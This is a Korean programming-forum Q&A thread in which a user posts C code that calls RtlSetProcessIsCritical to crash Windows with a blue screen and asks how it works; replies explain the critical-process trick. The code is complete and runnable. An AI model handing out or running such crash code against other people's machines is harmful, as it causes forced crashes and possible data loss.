프로그래밍

3204,

18/161

h@cking2013

블루스크린 소스

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=6450 [복사]

안녕하세요.
인터넷에서 블루스크린을 띄우는 소스를 우연히 발견하였습니다.

#include <windows.h>

typedef VOID ( _stdcall *RtlSetProcessIsCritical ) (
               IN BOOLEAN        NewValue,
               OUT PBOOLEAN OldValue,
               IN BOOLEAN      IsWinlogon );

BOOL EnablePriv(LPCSTR lpszPriv)
{
    HANDLE hToken;
    LUID luid;
    TOKEN_PRIVILEGES tkprivs;
    ZeroMemory(&tkprivs, sizeof(tkprivs));

    if(!OpenProcessToken(GetCurrentProcess(), (TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY), &hToken))
        return FALSE;

    if(!LookupPrivilegeValue(NULL, lpszPriv, &luid)){
        CloseHandle(hToken); return FALSE;
    }

    tkprivs.PrivilegeCount = 1;
    tkprivs.Privileges[0].Luid = luid;
    tkprivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    BOOL bRet = AdjustTokenPrivileges(hToken, FALSE, &tkprivs, sizeof(tkprivs), NULL, NULL);
    CloseHandle(hToken);
    return bRet;
}

BOOL ProtectProcess()
{
   HANDLE hDLL;
   RtlSetProcessIsCritical fSetCritical;

   hDLL = LoadLibraryA("ntdll.dll");
   if ( hDLL != NULL )
   {
         EnablePriv(SE_DEBUG_NAME);
        (fSetCritical) = (RtlSetProcessIsCritical) GetProcAddress( (HINSTANCE)hDLL, "RtlSetProcessIsCritical" );
          if(!fSetCritical) return 0;
          fSetCritical(1,0,0);
    return 1;
   } else
          return 0;
}

int main (void)
{
ProtectProcess();
return 1;
}

어떤 원리인가요?

Hit : 6682 Date : 2014/03/23 03:12


MainThread	hDLL이라는 DLL파일을 통해 RtlSetProcessIsCritical함수를 얻어오고 있습니다. - RtlSetProcessIsCritical는 임계프로세스를 생성하기 위한 함수입니다. - 임계프로세스(Critical Process)는 종료되지 않는 즉, 블루스크린을 유발시키는 프로세스입니다. GetProcAddress에 대해 자세히 알고 싶으시다면 MSDN을 참고해 보세요 From MainThread	2014/05/24
h@cking2013	감사합니다!	2014/07/30
김병권	옛날에 어떤 분이 네이트온으로 블루스크린 화면에 띄워봐라고 하던데... 기억이 나네요. 좋은 정보 감사해요... ㅋㅋ	2015/02/01
김병권	6년은 된 거라도 기억이 나긴 납니다 ㅋㅋㅋㅋ	2015/02/01
somass	감사합니다	2022/09/16

2864

비주얼 6.0 exe파일 아이콘 어떻게 넣는건가요?[2]

shdac

01/04

3777

2863

비즈네르 암호코딩..해석좀..ㅜㅠ.ㅜ 부탁드립니다..ㅠ.ㅠ 진짜 모르겟네요..

shtjdanr

10/11

7570

2862

비쥬얼스튜디오를 사용할때 나오는 확장에 대해서 궁금한게 있습니다..^^[1]

liveai

10/23

2413

2861

비쥬얼c++에서..[2]

백룡출해

03/30

2954

2860

비쥬얼C++ 프로그램 기초적인 질문입니다![8]

lllxyxylll

07/14

2396

2859

비쥬얼 스튜디오 말고 다른 것?[3]

todaywin2

04/19

4088

2858

비쥬얼 스튜디오 컴파일/디버깅 관련 부탁드릴께요[2]

salis

02/20

2982

2857

비쥬얼 스튜디오 2008 express edition을 다운 받았는데요[2]

gkswls123

05/01

4553

2856

비쥬얼 스튜디오 2005[5]

tmddyd1095

03/24

2974

2855

비쥬얼 베이직 질문이요~

SnarlWolf

04/04

2296

2854

비쥬얼 베이직 6.0으로 소켓 프로그래밍 질문이요.[2]

kiskind

10/01

3033

2853

블로그 홍보할때쓰는 메타테그 도와주세요.[2]

o0ok2o0

09/26

2579

블루스크린 소스[5]

h@cking2013

03/23

6681

2851

부팅을 c 언어로 짜여진 것입니다.. 질문요....[3]

superio1999

04/06

3937

2850

부탁드릴게요 ㅠㅠ[4]

namja333

07/31

2442

2849

브라우저에서(인터넷익스플로러) 소스보기가안된다고가정할때[12]

mudaebbo

02/10

2965

2848

밑에 어떤님이 한건데,, 분석좀해주세요[2]

JJang777

01/06

3659

2847

뭘 공부해야 될지 모르겟어요...ㅠㅜ[5]

soul214

12/28

2633

2846

뭐부터 배워야 될지?[1]

momma1004

08/10

2900

2845

뭐가 에러인건지[2]

goeun30

06/26

3256

[1]..[11][12][13][14][15][16][17] 18 [19][20]..[161]